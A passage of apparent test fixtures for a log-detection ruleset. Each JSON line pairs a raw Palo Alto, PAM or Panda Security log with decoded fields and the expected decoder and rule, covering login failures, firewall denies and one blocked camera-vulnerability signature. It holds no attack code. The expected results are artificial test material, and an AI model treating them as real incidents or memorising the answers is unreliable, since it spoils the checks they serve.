06:00:00 xx-xx-xx.xx 1,2020/02/09 00:00:00,00000000,SYSTEM,general,0,2020/00/00 00:00:00,,general,,0,0,general,medium,\"xxxxxxxxxxxxxxx\",0000000,0x0,0,0,0,0,,XXX-XX-XX", "decoder": "paloalto", "parent": "paloalto", "fields": {"action_flags": "0x0", "content_threat_type": "general", "description": "\"xxxxxxxxxxxxxxx\"", "device_group_hierarchy_level_1": "0", "device_group_hierarchy_level_2": "0", "device_group_hierarchy_level_3": "0", "device_group_hierarchy_level_4": "0", "device_name": "XXX-XX-XX", "event_id": "general", "generated_time": "2020/00/00 00:00:00", "module": "general", "receive_time": "2020/02/09 00:00:00", "sequence_number": "0000000", "serial_number": "00000000", "severity": "medium", "type": "SYSTEM"}, "field_names": ["action_flags", "content_threat_type", "description", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "event_id", "generated_time", "module", "receive_time", "sequence_number", "serial_number", "severity", "type"], "rule": "64502", "level": "3", "expected_decoder": "paloalto", "expected_rule": "64502", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto severity medium"} +{"log": "0,2021/07/12 09:46:23,321321321,THREAT,vulnerability,0,2021/07/12 09:46:00,199.195.252.165,172.30.250.61,199.195.252.165,10.20.0.19,GPS-UAT-MODULR-Web-443-OUT,,,web-browsing,vsys1,YYYYYYYYYYY,ZZZZZZZZZZZ,ethernet1/1,tunnel.2,UATH-LogForwarding,2021/07/12 09:46:00,51557,1,55094,443,55094,443,0x502000,tcp,reset-both,\"getuser\",DCS-2530L Unauthenticated Information Disclosure Vulnerability(90255),any,high,client-to-server,561,0xa000000000000000,United States,172.16.0.0-172.31.255.255,0,,0,,,1,,,,,,,,0,41,225,0,0,,UAT-INTERNET-FW-01,,,,,0,,0,,N/A,info-leak,AppThreat-8428-6809,0x2,0,4294967295,,\" \",dd3035a9-452f-4073-a1bc-169f4b453e6a,0,,0.0.0.0,,,,,,,,,,,,,,,,,,,,,,,,,,,0,2021-07-12T09:46:01.359+01:00,, ,", "decoder": "paloalto", "parent": "paloalto", "fields": {"action": "reset-both", "action_flags": "0xa000000000000000", "application": "web-browsing", "application_subcategory": "0.0.0.0", "category": "any", "content_version": "AppThreat-8428-6809", "destination_address": "172.30.250.61", "destination_location": "172.16.0.0-172.31.255.255", "destination_port": "443", "destination_zone": "ZZZZZZZZZZZ", "device_group_hierarchy_level_1": "41", "device_group_hierarchy_level_2": "225", "device_group_hierarchy_level_3": "0", "device_group_hierarchy_level_4": "0", "device_name": "UAT-INTERNET-FW-01", "direction": "client-to-server", "flags": "0x502000", "generated_time": "2021/07/12 09:46:00", "http_2_connection": "0", "inbound_interface": "ethernet1/1", "ip_protocol": "tcp", "log_action": "UATH-LogForwarding", "nat_destination_ip": "10.20.0.19", "nat_destination_port": "443", "nat_source_ip": "199.195.252.165", "nat_source_port": "55094", "outbound_interface": "tunnel.2", "parent_session_id": "0", "payload_protocol_id": "4294967295", "pcap_id": "0", "receive_time": "2021/07/12 09:46:23", "repeat_count": "1", "report_id": "0", "rule_name": "GPS-UAT-MODULR-Web-443-OUT", "rule_uuid": "dd3035a9-452f-4073-a1bc-169f4b453e6a", "sctp_association_id": "0", "sequence_number": "561", "serial_number": "321321321", "session_id": "51557", "severity": "high", "source_address": "199.195.252.165", "source_location": "United States", "source_port": "55094", "source_zone": "YYYYYYYYYYY", "threat_category": "info-leak", "threat_content_type": "vulnerability", "threat_id": "DCS-2530L Unauthenticated Information Disclosure Vulnerability(90255)", "tunnel_id_imsi": "0", "tunnel_type": "N/A", "type": "THREAT", "url_category_list": "\" \"", "url_filename": "\"getuser\"", "url_index": "1", "virtual_system": "vsys1"}, "field_names": ["action", "action_flags", "application", "application_subcategory", "category", "content_version", "destination_address", "destination_location", "destination_port", "destination_zone", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "direction", "flags", "generated_time", "http_2_connection", "inbound_interface", "ip_protocol", "log_action", "nat_destination_ip", "nat_destination_port", "nat_source_ip", "nat_source_port", "outbound_interface", "parent_session_id", "payload_protocol_id", "pcap_id", "receive_time", "repeat_count", "report_id", "rule_name", "rule_uuid", "sctp_association_id", "sequence_number", "serial_number", "session_id", "severity", "source_address", "source_location", "source_port", "source_zone", "threat_category", "threat_content_type", "threat_id", "tunnel_id_imsi", "tunnel_type", "type", "url_category_list", "url_filename", "url_index", "virtual_system"], "rule": "64503", "level": "5", "expected_decoder": "paloalto", "expected_rule": "64503", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto severity high"} +{"log": "Apr 30 06:00:00 xx-xx-xx.xx 1,2020/02/09 00:00:00,00000000,SYSTEM,general,0,2020/00/00 00:00:00,,general,,0,0,general,high,\"xxxxxxxxxxxxxxx\",0000000,0x0,0,0,0,0,,XXX-XX-XX", "decoder": "paloalto", "parent": "paloalto", "fields": {"action_flags": "0x0", "content_threat_type": "general", "description": "\"xxxxxxxxxxxxxxx\"", "device_group_hierarchy_level_1": "0", "device_group_hierarchy_level_2": "0", "device_group_hierarchy_level_3": "0", "device_group_hierarchy_level_4": "0", "device_name": "XXX-XX-XX", "event_id": "general", "generated_time": "2020/00/00 00:00:00", "module": "general", "receive_time": "2020/02/09 00:00:00", "sequence_number": "0000000", "serial_number": "00000000", "severity": "high", "type": "SYSTEM"}, "field_names": ["action_flags", "content_threat_type", "description", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "event_id", "generated_time", "module", "receive_time", "sequence_number", "serial_number", "severity", "type"], "rule": "64503", "level": "5", "expected_decoder": "paloalto", "expected_rule": "64503", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto severity high"} +{"log": "Apr 30 06:00:00 xx-xx-xx.xx 1,2020/02/09 00:00:00,00000000,SYSTEM,general,0,2020/00/00 00:00:00,,general,,0,0,general,critical,\"xxxxxxxxxxxxxxx\",0000000,0x0,0,0,0,0,,XXX-XX-XX", "decoder": "paloalto", "parent": "paloalto", "fields": {"action_flags": "0x0", "content_threat_type": "general", "description": "\"xxxxxxxxxxxxxxx\"", "device_group_hierarchy_level_1": "0", "device_group_hierarchy_level_2": "0", "device_group_hierarchy_level_3": "0", "device_group_hierarchy_level_4": "0", "device_name": "XXX-XX-XX", "event_id": "general", "generated_time": "2020/00/00 00:00:00", "module": "general", "receive_time": "2020/02/09 00:00:00", "sequence_number": "0000000", "serial_number": "00000000", "severity": "critical", "type": "SYSTEM"}, "field_names": ["action_flags", "content_threat_type", "description", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "event_id", "generated_time", "module", "receive_time", "sequence_number", "serial_number", "severity", "type"], "rule": "64504", "level": "11", "expected_decoder": "paloalto", "expected_rule": "64504", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto severity critical"} +{"log": "0,2021/07/15 11:58:58,1321564321,TRAFFIC,N/A,0,2021/07/15 11:59:02,10.210.0.84,51.11.168.232,,,DENY-ALL,,,not-applicable,vsys1,INSPECTION,INSPECTION,ethernet1/1,,AWS-PANORAMA,2021/07/15 11:59:02,0,1,500,500,0,0,0x0,udp,deny,0,0,0,1,2021/07/15 11:59:02,0,any,0,91501273,0x8000000000000000,10.0.0.0-10.255.255.255,YYYYYYYYYYYY,0,1,0,policy-deny,150,42,25,260,,P1A-GWLB-CORE-FW01,from-policy,,,0,,0,,N/A,0,0,0,0,49543e97-7c8c-44a3-bbd9-031caeb1a65e,0,0,,,,,,,,0.0.0.0,,,,,,,,,,,,,,,,,,,,,,,,,,,2021-07-15T11:59:03.547+01:00,,", "decoder": "paloalto", "parent": "paloalto", "fields": {"action": "deny", "action_flags": "0x8000000000000000", "action_source": "from-policy", "app_flap_count": "0", "application": "not-applicable", "bytes": "0", "bytes_received": "0", "bytes_sent": "0", "category": "any", "content_type": "N/A", "destination_address": "51.11.168.232", "destination_country": "YYYYYYYYYYYY", "destination_port": "500", "destination_zone": "INSPECTION", "device_group_hierarchy_level_1": "150", "device_group_hierarchy_level_2": "42", "device_group_hierarchy_level_3": "25", "device_group_hierarchy_level_4": "260", "device_name": "P1A-GWLB-CORE-FW01", "elapsed_time": "0", "flags": "0x0", "generated_time": "2021/07/15 11:59:02", "high_resolution_timestamp": "2021-07-15T11:59:03.547+01:00", "http_2_connection": "0", "inbound_interface": "ethernet1/1", "log_action": "AWS-PANORAMA", "nat_destination_port": "0", "nat_source_port": "0", "packets": "1", "packets_received": "0", "packets_sent": "1", "parent_session_id": "0", "protocol": "udp", "receive_time": "2021/07/15 11:58:58", "repeat_count": "1", "rule_name": "DENY-ALL", "rule_uuid": "49543e97-7c8c-44a3-bbd9-031caeb1a65e", "sctp_association_id": "0", "sctp_chunks": "0", "sctp_chunks_received": "0", "sctp_chunks_sent": "0", "sequence_number": "91501273", "serial_number": "1321564321", "session_end_reason": "policy-deny", "session_id": "0", "source_address": "10.210.0.84", "source_country": "10.0.0.0-10.255.255.255", "source_port": "500", "source_zone": "INSPECTION", "start_time": "2021/07/15 11:59:02", "tunnel_id_imsi": "0", "tunnel_type": "N/A", "type": "TRAFFIC", "virtual_system": "vsys1", "xff_address": "0.0.0.0"}, "field_names": ["action", "action_flags", "action_source", "app_flap_count", "application", "bytes", "bytes_received", "bytes_sent", "category", "content_type", "destination_address", "destination_country", "destination_port", "destination_zone", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "elapsed_time", "flags", "generated_time", "high_resolution_timestamp", "http_2_connection", "inbound_interface", "log_action", "nat_destination_port", "nat_source_port", "packets", "packets_received", "packets_sent", "parent_session_id", "protocol", "receive_time", "repeat_count", "rule_name", "rule_uuid", "sctp_association_id", "sctp_chunks", "sctp_chunks_received", "sctp_chunks_sent", "sequence_number", "serial_number", "session_end_reason", "session_id", "source_address", "source_country", "source_port", "source_zone", "start_time", "tunnel_id_imsi", "tunnel_type", "type", "virtual_system", "xff_address"], "rule": "64505", "level": "0", "expected_decoder": "paloalto", "expected_rule": "64505", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto traffic"} +{"log": "May 00 00:00:00 XXX-XX-00 1,2020/00/00 00:00:00,00000000,TRAFFIC,start,0000,2020/06/00 00:00:00,00.00.000.00,00.00.00.0,0.0.0.0,0.0.0.0,xxx-xxx_xxxx,,,xxx,xxxxx,xxxx,xxxx,xxxx.0,xxx.000,xxxxxxxx,2020/00/00 00:00:00,0000,1,0000,000,0,0,0x0,xxx,xxxx,000,000,00,0,2020/00/00 00:00:00,1,any,0,0000000,0x0,00.0.0.0-00.000.000.000,00.0.0.0-00.000.000.000,0,0,0,n/a,0,0,0,0,,xxx-xx-01,from-policy,,,0,,0,,N/A,0,0,0,0,00000-0000-00xx00-00xx-0x0x0x000xx,0", "decoder": "paloalto", "parent": "paloalto", "fields": {"action": "xxxx", "action_flags": "0x0", "action_source": "from-policy", "application": "xxx", "bytes": "000", "bytes_received": "00", "bytes_sent": "000", "category": "any", "content_type": "start", "destination_address": "00.00.00.0", "destination_country": "00.0.0.0-00.000.000.000", "destination_port": "000", "destination_zone": "xxxx", "device_group_hierarchy_level_1": "0", "device_group_hierarchy_level_2": "0", "device_group_hierarchy_level_3": "0", "device_group_hierarchy_level_4": "0", "device_name": "xxx-xx-01", "elapsed_time": "1", "flags": "0x0", "generated_time": "2020/06/00 00:00:00", "http_2_connection": "0", "inbound_interface": "xxxx.0", "log_action": "xxxxxxxx", "nat_destination_ip": "0.0.0.0", "nat_destination_port": "0", "nat_source_ip": "0.0.0.0", "nat_source_port": "0", "outbound_interface": "xxx.000", "packets": "0", "packets_received": "0", "packets_sent": "0", "parent_session_id": "0", "protocol": "xxx", "receive_time": "2020/00/00 00:00:00", "repeat_count": "1", "rule_name": "xxx-xxx_xxxx", "rule_uuid": "00000-0000-00xx00-00xx-0x0x0x000xx", "sctp_association_id": "0", "sctp_chunks": "0", "sctp_chunks_received": "0", "sctp_chunks_sent": "0", "sequence_number": "0000000", "serial_number": "00000000", "session_end_reason": "n/a", "session_id": "0000", "source_address": "00.00.000.00", "source_country": "00.0.0.0-00.000.000.000", "source_port": "0000", "source_zone": "xxxx", "start_time": "2020/00/00 00:00:00", "tunnel_id_imsi": "0", "tunnel_type": "N/A", "type": "TRAFFIC", "virtual_system": "xxxxx"}, "field_names": ["action", "action_flags", "action_source", "application", "bytes", "bytes_received", "bytes_sent", "category", "content_type", "destination_address", "destination_country", "destination_port", "destination_zone", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "elapsed_time", "flags", "generated_time", "http_2_connection", "inbound_interface", "log_action", "nat_destination_ip", "nat_destination_port", "nat_source_ip", "nat_source_port", "outbound_interface", "packets", "packets_received", "packets_sent", "parent_session_id", "protocol", "receive_time", "repeat_count", "rule_name", "rule_uuid", "sctp_association_id", "sctp_chunks", "sctp_chunks_received", "sctp_chunks_sent", "sequence_number", "serial_number", "session_end_reason", "session_id", "source_address", "source_country", "source_port", "source_zone", "start_time", "tunnel_id_imsi", "tunnel_type", "type", "virtual_system"], "rule": "64506", "level": "2", "expected_decoder": "paloalto", "expected_rule": "64506", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto traffic start"} +{"log": "May 00 00:00:00 XXX-XX-00 1,2020/00/00 00:00:00,00000000,TRAFFIC,end,0000,2020/06/00 00:00:00,00.00.000.00,00.00.00.0,0.0.0.0,0.0.0.0,xxx-xxx_xxxx,,,xxx,xxxxx,xxxx,xxxx,xxxx.0,xxx.000,xxxxxxxx,2020/00/00 00:00:00,0000,1,0000,000,0,0,0x0,xxx,xxxx,000,000,00,0,2020/00/00 00:00:00,1,any,0,0000000,0x0,00.0.0.0-00.000.000.000,00.0.0.0-00.000.000.000,0,0,0,n/a,0,0,0,0,,xxx-xx-01,from-policy,,,0,,0,,N/A,0,0,0,0,00000-0000-00xx00-00xx-0x0x0x000xx,0", "decoder": "paloalto", "parent": "paloalto", "fields": {"action": "xxxx", "action_flags": "0x0", "action_source": "from-policy", "application": "xxx", "bytes": "000", "bytes_received": "00", "bytes_sent": "000", "category": "any", "content_type": "end", "destination_address": "00.00.00.0", "destination_country": "00.0.0.0-00.000.000.000", "destination_port": "000", "destination_zone": "xxxx", "device_group_hierarchy_level_1": "0", "device_group_hierarchy_level_2": "0", "device_group_hierarchy_level_3": "0", "device_group_hierarchy_level_4": "0", "device_name": "xxx-xx-01", "elapsed_time": "1", "flags": "0x0", "generated_time": "2020/06/00 00:00:00", "http_2_connection": "0", "inbound_interface": "xxxx.0", "log_action": "xxxxxxxx", "nat_destination_ip": "0.0.0.0", "nat_destination_port": "0", "nat_source_ip": "0.0.0.0", "nat_source_port": "0", "outbound_interface": "xxx.000", "packets": "0", "packets_received": "0", "packets_sent": "0", "parent_session_id": "0", "protocol": "xxx", "receive_time": "2020/00/00 00:00:00", "repeat_count": "1", "rule_name": "xxx-xxx_xxxx", "rule_uuid": "00000-0000-00xx00-00xx-0x0x0x000xx", "sctp_association_id": "0", "sctp_chunks": "0", "sctp_chunks_received": "0", "sctp_chunks_sent": "0", "sequence_number": "0000000", "serial_number": "00000000", "session_end_reason": "n/a", "session_id": "0000", "source_address": "00.00.000.00", "source_country": "00.0.0.0-00.000.000.000", "source_port": "0000", "source_zone": "xxxx", "start_time": "2020/00/00 00:00:00", "tunnel_id_imsi": "0", "tunnel_type": "N/A", "type": "TRAFFIC", "virtual_system": "xxxxx"}, "field_names": ["action", "action_flags", "action_source", "application", "bytes", "bytes_received", "bytes_sent", "category", "content_type", "destination_address", "destination_country", "destination_port", "destination_zone", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "elapsed_time", "flags", "generated_time", "http_2_connection", "inbound_interface", "log_action", "nat_destination_ip", "nat_destination_port", "nat_source_ip", "nat_source_port", "outbound_interface", "packets", "packets_received", "packets_sent", "parent_session_id", "protocol", "receive_time", "repeat_count", "rule_name", "rule_uuid", "sctp_association_id", "sctp_chunks", "sctp_chunks_received", "sctp_chunks_sent", "sequence_number", "serial_number", "session_end_reason", "session_id", "source_address", "source_country", "source_port", "source_zone", "start_time", "tunnel_id_imsi", "tunnel_type", "type", "virtual_system"], "rule": "64507", "level": "2", "expected_decoder": "paloalto", "expected_rule": "64507", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto traffic end"} +{"log": "May 00 00:00:00 XXX-XX-00 1,2020/00/00 00:00:00,00000000,TRAFFIC,drop,0000,2020/06/00 00:00:00,00.00.000.00,00.00.00.0,0.0.0.0,0.0.0.0,xxx-xxx_xxxx,,,xxx,xxxxx,xxxx,xxxx,xxxx.0,xxx.000,xxxxxxxx,2020/00/00 00:00:00,0000,1,0000,000,0,0,0x0,xxx,xxxx,000,000,00,0,2020/00/00 00:00:00,1,any,0,0000000,0x0,00.0.0.0-00.000.000.000,00.0.0.0-00.000.000.000,0,0,0,n/a,0,0,0,0,,xxx-xx-01,from-policy,,,0,,0,,N/A,0,0,0,0,00000-0000-00xx00-00xx-0x0x0x000xx,0", "decoder": "paloalto", "parent": "paloalto", "fields": {"action": "xxxx", "action_flags": "0x0", "action_source": "from-policy", "application": "xxx", "bytes": "000", "bytes_received": "00", "bytes_sent": "000", "category": "any", "content_type": "drop", "destination_address": "00.00.00.0", "destination_country": "00.0.0.0-00.000.000.000", "destination_port": "000", "destination_zone": "xxxx", "device_group_hierarchy_level_1": "0", "device_group_hierarchy_level_2": "0", "device_group_hierarchy_level_3": "0", "device_group_hierarchy_level_4": "0", "device_name": "xxx-xx-01", "elapsed_time": "1", "flags": "0x0", "generated_time": "2020/06/00 00:00:00", "http_2_connection": "0", "inbound_interface": "xxxx.0", "log_action": "xxxxxxxx", "nat_destination_ip": "0.0.0.0", "nat_destination_port": "0", "nat_source_ip": "0.0.0.0", "nat_source_port": "0", "outbound_interface": "xxx.000", "packets": "0", "packets_received": "0", "packets_sent": "0", "parent_session_id": "0", "protocol": "xxx", "receive_time": "2020/00/00 00:00:00", "repeat_count": "1", "rule_name": "xxx-xxx_xxxx", "rule_uuid": "00000-0000-00xx00-00xx-0x0x0x000xx", "sctp_association_id": "0", "sctp_chunks": "0", "sctp_chunks_received": "0", "sctp_chunks_sent": "0", "sequence_number": "0000000", "serial_number": "00000000", "session_end_reason": "n/a", "session_id": "0000", "source_address": "00.00.000.00", "source_country": "00.0.0.0-00.000.000.000", "source_port": "0000", "source_zone": "xxxx", "start_time": "2020/00/00 00:00:00", "tunnel_id_imsi": "0", "tunnel_type": "N/A", "type": "TRAFFIC", "virtual_system": "xxxxx"}, "field_names": ["action", "action_flags", "action_source", "application", "bytes", "bytes_received", "bytes_sent", "category", "content_type", "destination_address", "destination_country", "destination_port", "destination_zone", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "elapsed_time", "flags", "generated_time", "http_2_connection", "inbound_interface", "log_action", "nat_destination_ip", "nat_destination_port", "nat_source_ip", "nat_source_port", "outbound_interface", "packets", "packets_received", "packets_sent", "parent_session_id", "protocol", "receive_time", "repeat_count", "rule_name", "rule_uuid", "sctp_association_id", "sctp_chunks", "sctp_chunks_received", "sctp_chunks_sent", "sequence_number", "serial_number", "session_end_reason", "session_id", "source_address", "source_country", "source_port", "source_zone", "start_time", "tunnel_id_imsi", "tunnel_type", "type", "virtual_system"], "rule": "64508", "level": "6", "expected_decoder": "paloalto", "expected_rule": "64508", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto traffic dropped"} +{"log": "May 00 00:00:00 XXX-XX-00 1,2020/00/00 00:00:00,00000000,TRAFFIC,deny,0000,2020/06/00 00:00:00,00.00.000.00,00.00.00.0,0.0.0.0,0.0.0.0,xxx-xxx_xxxx,,,xxx,xxxxx,xxxx,xxxx,xxxx.0,xxx.000,xxxxxxxx,2020/00/00 00:00:00,0000,1,0000,000,0,0,0x0,xxx,xxxx,000,000,00,0,2020/00/00 00:00:00,1,any,0,0000000,0x0,00.0.0.0-00.000.000.000,00.0.0.0-00.000.000.000,0,0,0,n/a,0,0,0,0,,xxx-xx-01,from-policy,,,0,,0,,N/A,0,0,0,0,00000-0000-00xx00-00xx-0x0x0x000xx,0", "decoder": "paloalto", "parent": "paloalto", "fields": {"action": "xxxx", "action_flags": "0x0", "action_source": "from-policy", "application": "xxx", "bytes": "000", "bytes_received": "00", "bytes_sent": "000", "category": "any", "content_type": "deny", "destination_address": "00.00.00.0", "destination_country": "00.0.0.0-00.000.000.000", "destination_port": "000", "destination_zone": "xxxx", "device_group_hierarchy_level_1": "0", "device_group_hierarchy_level_2": "0", "device_group_hierarchy_level_3": "0", "device_group_hierarchy_level_4": "0", "device_name": "xxx-xx-01", "elapsed_time": "1", "flags": "0x0", "generated_time": "2020/06/00 00:00:00", "http_2_connection": "0", "inbound_interface": "xxxx.0", "log_action": "xxxxxxxx", "nat_destination_ip": "0.0.0.0", "nat_destination_port": "0", "nat_source_ip": "0.0.0.0", "nat_source_port": "0", "outbound_interface": "xxx.000", "packets": "0", "packets_received": "0", "packets_sent": "0", "parent_session_id": "0", "protocol": "xxx", "receive_time": "2020/00/00 00:00:00", "repeat_count": "1", "rule_name": "xxx-xxx_xxxx", "rule_uuid": "00000-0000-00xx00-00xx-0x0x0x000xx", "sctp_association_id": "0", "sctp_chunks": "0", "sctp_chunks_received": "0", "sctp_chunks_sent": "0", "sequence_number": "0000000", "serial_number": "00000000", "session_end_reason": "n/a", "session_id": "0000", "source_address": "00.00.000.00", "source_country": "00.0.0.0-00.000.000.000", "source_port": "0000", "source_zone": "xxxx", "start_time": "2020/00/00 00:00:00", "tunnel_id_imsi": "0", "tunnel_type": "N/A", "type": "TRAFFIC", "virtual_system": "xxxxx"}, "field_names": ["action", "action_flags", "action_source", "application", "bytes", "bytes_received", "bytes_sent", "category", "content_type", "destination_address", "destination_country", "destination_port", "destination_zone", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "elapsed_time", "flags", "generated_time", "http_2_connection", "inbound_interface", "log_action", "nat_destination_ip", "nat_destination_port", "nat_source_ip", "nat_source_port", "outbound_interface", "packets", "packets_received", "packets_sent", "parent_session_id", "protocol", "receive_time", "repeat_count", "rule_name", "rule_uuid", "sctp_association_id", "sctp_chunks", "sctp_chunks_received", "sctp_chunks_sent", "sequence_number", "serial_number", "session_end_reason", "session_id", "source_address", "source_country", "source_port", "source_zone", "start_time", "tunnel_id_imsi", "tunnel_type", "type", "virtual_system"], "rule": "64508", "level": "6", "expected_decoder": "paloalto", "expected_rule": "64508", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto traffic dropped"} +{"log": "Nov 11 22:46:29 localhost su(pam_unix)[23164]: authentication failure; logname= uid=1342 euid=0 tty= ruser=dcid rhost= user=osaudit", "decoder": "pam", "parent": "", "fields": {"dstuser": "osaudit", "euid": "0", "srcuser": "dcid", "uid": "1342"}, "field_names": ["dstuser", "euid", "srcuser", "uid"], "rule": "5503", "level": "5", "expected_decoder": "pam", "expected_rule": "5503", "rule_matches_expected": true, "ini_file": "pam.ini", "section": "User login failed."} +{"log": "Nov 11 22:46:29 localhost vsftpd(pam_unix)[25073]: check pass; user unknown", "decoder": "pam", "parent": "", "fields": {}, "field_names": [], "rule": "5504", "level": "5", "expected_decoder": "pam", "expected_rule": "5504", "rule_matches_expected": true, "ini_file": "pam.ini", "section": "Attempt to login with an invalid user."} +{"log": "Nov 11 22:46:29 localhost su(pam_unix)[14592]: session opened for user news by (uid=0)", "decoder": "pam", "parent": "pam", "fields": {"dstuser": "news", "uid": "0"}, "field_names": ["dstuser", "uid"], "rule": "5501", "level": "2", "expected_decoder": "pam", "expected_rule": "5501", "rule_matches_expected": true, "ini_file": "pam.ini", "section": "Login session opened."} +{"log": "Nov 11 22:46:29 localhost su(pam_unix)[14592]: session closed for user news", "decoder": "pam", "parent": "pam", "fields": {"dstuser": "news"}, "field_names": ["dstuser"], "rule": "5502", "level": "3", "expected_decoder": "pam", "expected_rule": "5502", "rule_matches_expected": true, "ini_file": "pam.ini", "section": "Login session closed."} +{"log": "Nov 11 22:46:29 localhost sshd(pam_unix)[15794]: 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.3.1 user=root", "decoder": "pam", "parent": "", "fields": {"dstuser": "root", "euid": "0", "srcip": "10.0.3.1", "tty": "ssh", "uid": "0"}, "field_names": ["dstuser", "euid", "srcip", "tty", "uid"], "rule": "2502", "level": "10", "expected_decoder": "pam", "expected_rule": "2502", "rule_matches_expected": true, "ini_file": "pam.ini", "section": "User missed the password more than one time"} +{"log": "LEEF:1.0|Panda Security|paps|02.47.00.0000|registrym|sev=1\tdevTime=2019-05-09 22:03:58.692466\tdevTimeFormat=yyyy-MM-dd HH:mm:ss.SSS\tusrName=SYSTEM\tdomain=NT AUTHORITY\tsrc=192.168.0.8\tidentSrc=192.168.0.8\tidentHostName=13_2595_43\tHostName=13_2595_43\tMUID=6C6A0D57714FE5B6D72BA0EC0E46D71B\tOp=ModifyExeKey\tHash=E60A27AAEB184AABD9C92C513B27F98A\tDriveType=Fixed\tPath=PROGRAM_FILES_COMMONX86|\\Quest\\Privilege Manager\\Client\\CSEHost.exe\tValidSig=true\tCompany=Quest Software Inc.\tBroken=false\tImageType=EXE 32\tExeType=Unknown\tPrevalence=Medium\tPrevLastDay=Low\tCat=Goodware\tMWName=\tTargetPath=3|PROGRAM_FILES_COMMONX86|\\Quest\\Privilege Manager\\Client\\GPEEventMsgFile.dll\tRegKey=\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\eventlog\\Application\\GPE Alert?EventMessageFile", "decoder": "paps", "parent": "", "fields": {"Broken": "false", "Cat": "Goodware", "Company": "Quest Software Inc.", "DriveType": "Fixed", "EventID": "registrym", "ExeType": "Unknown", "Hash": "E60A27AAEB184AABD9C92C513B27F98A", "HostName": "13_2595_43", "ImageType": "EXE 32", "Key": "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\eventlog\\Application\\GPE Alert?EventMessageFile", "LEEFversion": "1.0", "MUID": "6C6A0D57714FE5B6D72BA0EC0E46D71B", "MWName": "\tTargetPath=3|PROGRAM_FILES_COMMONX86|\\Quest\\Privilege Manager\\Client\\GPEEventMsgFile.dll", "Op": "ModifyExeKey", "Path": "PROGRAM_FILES_COMMONX86|\\Quest\\Privilege Manager\\Client\\CSEHost.exe", "PrevLastDay": "Low", "Prevalence": "Medium", "Product": "paps", "ProductVersion": "02.47.00.0000", "RegKey": "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\eventlog\\Application\\GPE Alert?EventMessageFile", "Severity": "1", "TargetPath": "3|PROGRAM_FILES_COMMONX86|\\Quest\\Privilege Manager\\Client\\GPEEventMsgFile.dll", "ValidSig": "true", "Vendor": "Panda Security", "devTime": "2019-05-09 22:03:58.692466", "devTimeFormat": "yyyy-MM-dd HH:mm:ss.SSS", "domain": "NT AUTHORITY", "identHostName": "13_2595_43", "identSrc": "192.168.0.8", "src": "192.168.0.8", "usrName": "SYSTEM"}, "field_names": ["Broken", "Cat", "Company", "DriveType", "EventID", "ExeType", "Hash", "HostName", "ImageType", "Key", "LEEFversion", "MUID", "MWName", "Op", "Path", "PrevLastDay", "Prevalence", "Product", "ProductVersion", "RegKey", "Severity", "TargetPath", "ValidSig", "Vendor", "devTime", "devTimeFormat", "domain", "identHostName", "identSrc", "src", "usrName"], "rule": "64201", "level": "7", "expected_decoder": "paps", "expected_rule": "64201", "rule_matches_expected": true, "ini_file": "panda_paps.ini", "section": "panda paps: alert message received"} +{"log": "LEEF:1.0|Panda Security|paps|02.47.00.0000|registrym|sev=3\tdevTime=2019-05-09 22:01:23.255825\tdevTimeFormat=yyyy-MM-dd HH:mm:ss.SSS\tusrName=SYSTEM\tdomain=NT AUTHORITY\tsrc=10.255.44.11\tidentSrc=10.255.44.11\tidentHostName=44_CCO_11\tHostName=44_CCO_11\tMUID=D877F2C4C4000A9BF39F1710CA787291\tOp=ModifyExeKey\tHash=F6494E7C35B6514A3AD74E27435F3141\tDriveType=Fixed\tPath=PROGRAM_FILESX86|\\LANDesk\\LDClient\\hips\\LDSecSvc64.EXE\tValidSig=true\tCompany=LANDESK Software, Inc. and its affiliates.\tBroken=false\tImageType=EXE 64\tExeType=Unknown\tPrevalence=Low\tPrevLastDay=Low\tCat=Goodware\tMWName=\tTargetPath=3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "decoder": "paps", "parent": "", "fields": {"Broken": "false", "Cat": "Goodware", "Company": "LANDESK Software, Inc. and its affiliates.", "DriveType": "Fixed", "EventID": "registrym", "ExeType": "Unknown", "Hash": "F6494E7C35B6514A3AD74E27435F3141", "HostName": "44_CCO_11", "ImageType": "EXE 64", "LEEFversion": "1.0", "MUID": "D877F2C4C4000A9BF39F1710CA787291", "MWName": "\tTargetPath=3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "Op": "ModifyExeKey", "Path": "PROGRAM_FILESX86|\\LANDesk\\LDClient\\hips\\LDSecSvc64.EXE", "PrevLastDay": "Low", "Prevalence": "Low", "Product": "paps", "ProductVersion": "02.47.00.0000", "Severity": "3", "TargetPath": 